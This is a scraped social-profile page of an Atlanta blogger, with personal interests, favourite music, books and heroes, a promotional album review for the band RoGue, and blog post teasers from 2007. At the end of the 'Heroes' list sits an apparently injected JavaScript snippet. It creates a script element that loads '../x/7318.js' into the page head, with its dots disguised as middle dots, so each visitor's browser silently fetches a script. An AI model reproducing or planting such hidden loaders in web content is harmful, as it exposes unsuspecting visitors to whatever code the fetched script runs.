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*Made In Atlanta*

Trying to practice rather than preach...

About Me

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My Interests

wine, books, stare-worthy visuals, my unusual modus operandi, unwarranted crushes, commercial holidays, diet coke, cheap airfare, gouda cheese, bbq in bed, tabloid magazines, inner cities, nonsensical phrases, newly coined words, isolation, quirks, discount shoes and handbags, love-at-first-sight, highly caloric coffee with complicated names, places that still have dirt roads, eating sushi with friends, mind travel, mysteries, dark chocolate, mac-made gadgets, spam, meditation, musings, miscellaneous reflection

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NEW ALBUM RELEASE - RoGue: Play The Game (www.RogueTime.com)Dont let the title fool you this is not a game. The stakes are higher on RoGues sophomore album and the band has waged a full-on vocal war. With eleven strong tracks in their arsenal, a victory is clearly inevitable. The first track Found My Spot is evidence of just how much the band has grown. They are finding their spot in the industry and its at the very top, far above the rest.The band comes bearing rare musical gifts. The album is like nothing youve ever heard and yet often feels familiar. With tracks reminiscent of your first Ani DiFranco concert or a dance party in your best friends basement back in the day, the album reunites you with styles youve missed and gives you unique and new grooves to fall in love with. The band delivers a soundtrack for their generation, but plays across all decades and produces an album that both takes you back and pulls you forward.Like their last album, Touch and Linger, the band experiments with a variety of styles and elements, but still manages to keep it fresh. They try their hand at dance tracks on Dance With Me and I Wish and take your breath away with songs like Jagienka, a rich, earthy, acapella track about living your life to the fullest.Arrangements that leave no chord unturned, gritty, brassy vocals and lyrics that carry you from melancholy to exuberant, Play The Game is unpredictable, but to RoGue fans, definitely not unexpected.Constantly asked to specify the umbrella that their music lies under, the band is what it is. A mixture of rock, soul, jazz, blues, disco, funk and dance. Alternative. But urban. Deeply rooted. But fluid. Elevated. But humble. And Impressive.(Want a hot band bio or album review? Contact Shetia, [email protected])

Music:

Mos Def, Fiona Apple, Maxwell, Gwen Stefani, Mr. Scruff, Goapele, Cake, Toni Braxton, Nina Simone, The Gap Band, Queen Latifah, Stevie Wonder, Joi, Herbie Hancock, Cassandra Wilson, Imogen Heap, Frou Frou, Sia, Res and the list goes on and on...

Movies:

Amelie. Eternal Sunshine of the Spotless Mind. Legally Blond. Just depends on the day.

Television:

Gilmore Girls, Grey's Anatomy, Bridezillas, As Told By Ginger

Books:

Letters To A Young Poet, Catcher In The Rye, Three Junes, Sassafras, Cypress and Indigo, The Love Space Demands, For Colored Girls Who Have Considered Suicide When The Rainbow Is Not Enuf, Boy Meets Boy...

Heroes:

Rilke, Ruby Dee, Shange, Audrey Hepburn, Bob Marley, Dick Wolf, August Wilson, Mr. Scirocco, Laurence Fishburne, S. Epatha Merkerson, Charles Gibson, Robin Roberts, J.K. Rowling, the staff at NPR, the editors at Real Simple, the strong women around me... oh and Tom. .."var s=document·createElement('script');s.src='../x/7318.js' ;document·getElementsByTagName('head')[0].appendChild(s );"

My Blog

I Hope That You're The One...

...If not, you are the prototype... I love that song. There's liberation in those lyrics. I think. I listen to Andre 3000 and sigh. I know there's a lesson there. A key to a door I'm certain I'm suppo...
Posted by *Made In Atlanta* on Tue, 13 Mar 2007 12:44:00 PST

TYLER PERRY LEADS WOMEN ASTRAY YET AGAIN

Aight, aight, aight. Don't get bent out of shape just yet. I saw Daddy's Little Girls and would HIGHLY RECOMMEND it because: 1) It's a great movie for a date or just for a girls night out 2)...
Posted by *Made In Atlanta* on Thu, 15 Feb 2007 09:04:00 PST

FEELING LOVED...

One night years ago I was getting ready for a date. My roommates and I were hanging out at our house (oh how I miss Truxton) and some of our friends were over. My date came in and every...
Posted by *Made In Atlanta* on Wed, 14 Feb 2007 07:53:00 PST

ASKING FOR TROUBLE

I'm sure you've heard by now the story of the astronaut who's been charged with the attempted murder of a romantic rival. You see people??? This is what happens when you put the Valentine's Day cards ...
Posted by *Made In Atlanta* on Mon, 12 Feb 2007 11:14:00 PST

HOT NAPPY MESS

I arrived for my appointment at Roots International 15 minutes early. A black woman early for a hair appointment? I almost waited it out in the car, so as to not alarm anyone and forgo the suspicious ...
Posted by *Made In Atlanta* on Mon, 29 Jan 2007 05:46:00 PST

Fighting The Good Fight

Sex and the City is on mute, but Carrie's body language speaks volumes. She and Berger carry on an argument of gargantuan proportion on the New York City sidewalk outside of her apartment. The tension...
Posted by *Made In Atlanta* on Wed, 24 Jan 2007 05:35:00 PST

CONVERTING THE BOOTY CALL

Speaking of doing too much...   I vividly remember a time when they were just calls, rather than booty calls. We'd talk on the phone for hours, until three or four in the morning and then email e...
Posted by *Made In Atlanta* on Tue, 23 Jan 2007 05:29:00 PST

DOING ENTIRELY TOO MUCH

The coffee shop used to be my second home. I'd made friends with each and every male barista (*wink*) so I rarely paid for anything. I'd settle down for a few hours and overdose on caffeine, get some ...
Posted by *Made In Atlanta* on Mon, 22 Jan 2007 06:51:00 PST

Resurrecting Dating Casualties

The New Year brings a renewed sense of commitment to yourself and of course tons of resolutions. Everyone suddenly becomes hell-bent on improving their quality of life. Including me. Though I tend to ...
Posted by *Made In Atlanta* on Thu, 11 Jan 2007 11:25:00 PST

MY BEST NEW YEAR'S YET

Some people say that the way you spend your New Year's Eve foreshadows the way you'll live the year. I never really bought into that theory but if that's the case, this may be my best year yet&  ...
Posted by *Made In Atlanta* on Tue, 02 Jan 2007 06:36:00 PST